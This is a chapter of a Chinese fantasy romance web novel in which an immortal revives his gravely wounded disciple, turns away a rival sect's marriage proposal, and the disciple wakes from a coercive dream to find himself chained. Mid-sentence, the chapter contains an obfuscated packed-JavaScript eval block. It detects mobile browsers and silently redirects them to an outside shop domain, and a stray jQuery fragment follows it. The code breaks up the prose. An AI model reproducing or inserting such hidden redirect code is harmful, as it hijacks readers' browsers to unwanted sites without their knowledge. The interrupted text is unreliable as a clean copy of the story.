13. 第 13 章
    疏风岫的情况糟糕到让谢孤鸿心生怒意,若是夜无极在此,神魂都会被凌迟后碾成齑粉。

    无人能承受的起仙人之怒。

    疏风岫全然无觉的陷入软被之中,柔弱单纯的像只小兔子。

    筋脉具断、魔元崩溃、陈年暗伤更是数不胜数,若非他一魄护持,神魂早就过奈何桥排队喝孟婆汤去了。

    可惜仙人不愿放手之人,十殿阎罗都来了也带不走。

    谢孤鸿心念一动,整个东南倾风雨欲来,阴沉晦暗到窒息。

    一声惊雷轰然落下

    整个东南倾蒸腾起浓郁粘稠的魔气,兮水深处燃烧起赤色魔焰,快速燃烧席卷过摇曳的白莲。

    魔焰所过,满目红莲。

    洞天之内的灵气被强行逆转成菁纯的魔气汹涌澎湃的灌注进疏风岫残破满是伤痕的身体中。

    可疏风岫毫无反应,形神溃散近乎尸体。

    海量的魔气如同泥牛入海,谢孤鸿却毫不在意。

    这样的灌注足足持续了十日,疏风岫的胸腔终于传来了微弱单薄的心跳。

    紧接着脉搏缓慢跳动,苍白到透明的脸色几不可查的有了些许生气。

    谢孤鸿长袖一抚,那磅礴可怖的魔气消散于无形,兮水之下的魔焰熄灭,白莲摇曳,仿佛十日间的种种是南柯一梦。

    疏风岫安静躺在软榻之中,半边苍白的脸埋在软枕之中。

    脆弱、可怜。

    谢孤鸿微微倾身抚摸过他被汗湿的鬓发,仔仔细细看着十年未见的小徒弟。

    细长的双眉斜飞入鬓,眼睫如同鸦翅,挺拔精致的鼻梁下双唇柔软,每一处都美的恰到好处,让人不自觉的被吸引。

    但最让人难忘的是紫色的双眸,宛如极品紫水晶,只一眼就能让人沉沦赞叹。

    少年时谢孤鸿带他去人间京都,正值杨柳浅绿,疏风岫一身紫色圆领袍,革带收束腰身,隔着朱桥回廊招手唤他。

    “师尊!”

    当时年少春衫薄,骑马倚斜桥,满楼红袖招[1]

    那双紫眸满眼都是自己,带着滚烫的少年意气。

    如今的疏风岫磨去了棱角,变得沉稳、庄重、内敛,脊骨却依旧宁折不弯。

    都是他喜欢的模样。

    谢孤鸿单手捧着他的下颌,慢慢的摩挲着浅色的双唇,双眸逐渐晦暗、疯狂、危险。

    “我给过你机会离开。”

    “脆弱的鸟雀就应当乖乖待在笼子里。”

    就在那股阴暗的气息几乎将疏风岫全然包裹时,殿门外的结界传来轻微波动。

    谢孤鸿微微侧头,周身阴郁可怖的气息散去。

    和光忐忑的跪在殿门外,轻声禀告:“主人,星辰海掌门求见。”

    她知道谢孤鸿听得见。

    “自称有办法救少主。”

    和光忐忑忐忑的等待了许久,面前的殿门才缓慢沉重的打开。

    她低匐垂头,只能看见谢孤鸿的鞋尖和宽大纯白的衣袍。

    在他背后,层层结界轰然落下,掩盖住了那脆弱单薄的少年,连只蚊虫都无法逃离。

    “带他去兮水正殿。”

    *

    星宿海之主星辰渊是仙门之中仅有的阵法炼药双修的大乘后期修士,乃是仙门人人敬仰的仙门宗师,如今已过千岁,论地位声誉甚至高出裴荆这个天下第一宗宗主。

    纵然这样的宗师仍需在谢孤鸿面前恭敬的俯首行礼。

    谢孤鸿站在高台之上,微微垂眸,并不言语。

    大殿孤寂肃穆,仙人威压甚至让师徒两人不敢起身。

    寂静许久,星辰渊才赌注一般开口:“我等有助疏宗主恢复之法,还请仙尊允我等一试。”

    谢孤鸿冷淡的目光扫过星辰渊,落在他身后的江拂舟身上。

    年轻、儒雅,和之前疏风岫身上残留的气息一样。

    江拂舟站在师尊身后,却仿佛被天地俯瞰,渺小如蝼蚁,背后冷汗涔涔。

    直到谢孤鸿移开视线。

    仙尊缓缓开口:“你想与本君交易?”

    星辰渊额头划过冷汗:“老朽确有事相求。”

    “哦?”

    星辰渊深吸一口气:“吾想替小徒求一姻缘。”

    谢孤鸿狭长清浅的双眸微眯,重复道:“姻缘?”

    大殿中威压陡然加重。

    星辰渊和江拂舟都未察觉到其中隐藏的杀意。

    “老朽听闻疏宗主乃是仙尊坐下弟子,今日斗胆为小徒求仙尊恩典,希望能允疏宗主与小徒结为道侣,共续仙魔和平。”

    这个想法最开始是江拂舟提的,他在见了疏风岫一面之后念念难忘,几乎成了心魔,最终以初赛头筹向星辰渊求得道侣恩典。

    最开始星辰渊并不愿,疏风岫身份复杂和凌霄宗宿怨纠葛,江拂舟乃是星宿海的未来希望,实非良配,但他们都看到谢孤鸿对疏风岫的偏爱。

    让兮泽仙尊偏向星宿海,那星宿海成为天下第一大宗指日可待。

    “道侣……”

    谢孤鸿冰冷的重复这两个字,眸色中闪过残忍的笑意,目光犹如实质压在江拂舟身上。

    “你爱小徒,还是想算计本君?”

    被一语道破算计的师徒瞬间额头直冒冷汗,仿佛被死亡凝视。

    “老朽……”

    江拂舟抢先一步跪地:“弟子是真心爱慕疏宗主!还望仙尊成全!”

    谢孤鸿冷眼看下匍匐跪地的少年:“被魅魔一眼惑于心魔,还称为真心?”

    江拂舟被问到哑口无言:“我……”

    他确实无法确定自己是被疏风岫的魔魅体质吸引还是真心爱慕。

    骤然被点破,少年几乎无地自容。

    星辰渊全然没想到谢孤鸿竟然会为了疏风岫动怒,意识到自己犯了大错,立刻请罪要带江拂舟告退。

    不想未走出大殿,殿门轰然关闭。

    谢孤鸿端坐高台:“本君何时允你们离开?”

    星辰渊终于看向高台,一瞬间阵法大家的知觉让他觉得高台之上的人并非仙人更像魔渊中沉睡的庞然大物。

    星辰渊握紧手中星盘,若是兮泽真的发难,拼死也要将江拂舟送出去。

    但谢孤鸿依旧未动,只淡然问道:“你想让本君入住星宿海?”

    星辰渊被这突如其来的惊喜砸蒙了。

    谢孤鸿淡声道:“并不不可,若星宿海能夺得仙魔大比魁首,东南倾将落于星野。”

    这是神谕,更是仙人指路。

    星辰渊完全没想到谢孤鸿竟然真的会同意,大起大落之下膝盖都在颤抖 ,反应过来后立刻跪地俯首。

    谢孤鸿却不在回应,站起身下一秒消失在大殿。

    裴荆太过自以为是,需要让他知道自己到底在做什么。

    *

    很长一段时间疏风岫以为自己死了,灵魂漫无边际的飘在虚无之中。

    不知年岁、不知自我。

    这样的飘荡不知过了多久,虚无变成了浓稠的血色,继而燃烧无数红莲托举着他,将他缓缓带出这片虚无。

    所有的记忆和伤痛刹那间回笼,疏风岫难受的摇头,随机被一股清浅的气息完全笼住。

    清冽好闻,熟悉可靠,让他又缓缓沉睡了过去。

    他的意识完全混乱,有时感觉自己是在东南倾乱跑的小不点,还没师尊大腿高,一不小心就会翻入兮水中,然后被准时出现的师尊拎着后脖颈提起来。

    疏风岫就会咯咯咯

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13236871|139489||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的笑,凑上去亲那冷着脸的仙人。

    有时又觉得自己在逃亡路上,凄风苦雨,只有潮湿的草席裹身,浑身伤痕还要注意凌霄宗的追杀。

    意识混沌,身体也忽冷忽热,他用力的蜷缩起自己,坠入更深的梦境中。

    最终他落在了一处嬉笑喧闹的花楼。

    绯色艳丽的纱幔层层叠叠,穿着艳丽清凉的歌女在台上媚眼如丝,间或穿梭在坐席之间。

    喧闹淫靡让疏风岫恍然迷茫。

    谢孤鸿收敛了一身仙气坐在他身边,见他出神:“可是察觉到妖气了?”

    疏风岫猛然回神:“不……不曾。”

    他知晓这是什么时候的事了,他筑基之后,人间帝王以整族运势为供奉,求仙人出山救满是妖气的帝都。

    谢孤鸿早就察觉到了紫微星有妖气傍身,但人间朝代更迭乃是命数,他并不想理会但小徒弟似乎出了些许问题。

    彻底长开的小徒弟经常望着自己出神,等自己看过去又躲闪心虚。

    很快同尘就把疏风岫藏起来的小秘密递到了谢孤鸿案头。

    是本凡间的风月话本——无删减的全本。

    谢孤鸿思索片刻,应下了帝王供奉,带着小弟子去往人间京都——捉妖。

    实际上这完全是多此一举,纵然谢孤鸿收敛了一身仙气,嗅觉灵敏的妖族也望风而逃,紫微星光芒大盛。

    只有这处花楼妖气浓郁,丝毫不怵凌冽仙气。

    谢孤鸿直接带着懵懂的小徒弟进了花楼。

    疏风岫作为修者,耳目灵敏,自从落座便将那那些只在话本中见到的浪荡言语和啧啧水声见了个全。

    脸上的热度怎么都下不去。

    他无助的扯了扯谢孤鸿的袖子:“师……师尊。”

    谢孤鸿却坦然饮酒,纵然身处声色之地却依旧凛然不敢让人靠近。

    “欲望乃是人之本性。”谢孤鸿看向自己面红耳赤的徒弟:“人、妖、魔都无法免俗,无需遮掩。”

    “可是……”疏风岫无助的看着他,眼底满是心虚。

    可听到这样的声音,想到那样混乱的场面,疏风岫脑海中的主角却是自己和谢孤鸿。

    他连谢孤鸿衣袖都不敢拽了。

    就在他松手刹那,周围绯色纱幔朝他漫天卷来,谢孤鸿欺身而上,用力扣住他的手腕压在头顶。

    任由纱幔将他们魇魔。

    疏风岫再抬头就发现谢孤鸿双眸猩红,如同一头蛰伏在黑暗中的危险魔兽,哪里还有仙人模样!

    “你想我这样对你?”谢孤鸿的笑容阴森中满是邪气,手指划过喉结落入不可名之处。

    疏风岫本能的摇头要拒绝,却被纱幔层层捆缚,连双唇都被封住。

    谢孤鸿低笑声带着满足的喟叹。

    “取悦我,否则会受伤。”

    “不——”疏风岫在在心中呐喊。

    “不,你不是师尊!”

    呐喊声于灵魂振聋发聩,绯色纱幔被撕成一片片,梦境乍然惊醒。

    疏风岫猛然睁开双眼,双眸满是惊恐和未褪的红痕,直勾勾盯着黑色的床幔,表情怔然惊鄂。

    不知过了多久,意识逐渐回笼,他才发自己躺在一张暗色华丽的床榻上,黑色的纱幔绣着大片的红莲层层叠叠落下挡住他的视线,昏暗不清。

    疏风岫尝试着想坐起来,却发现自己双臂被高举在头顶,根本使不上力。

    他微微仰头看去,只见自己双臂交叠于头顶,纤细的无力的手腕被玄铁铸成的锁链扣死,冰冷的铁链绕过床头延伸到视线尽头的黑暗中。

    但锁链不止这一条。

    手腕、脚腕、脖颈、甚至腰腹。数条冰冷的铁链如同捕食的蛛网,让他无处可逃。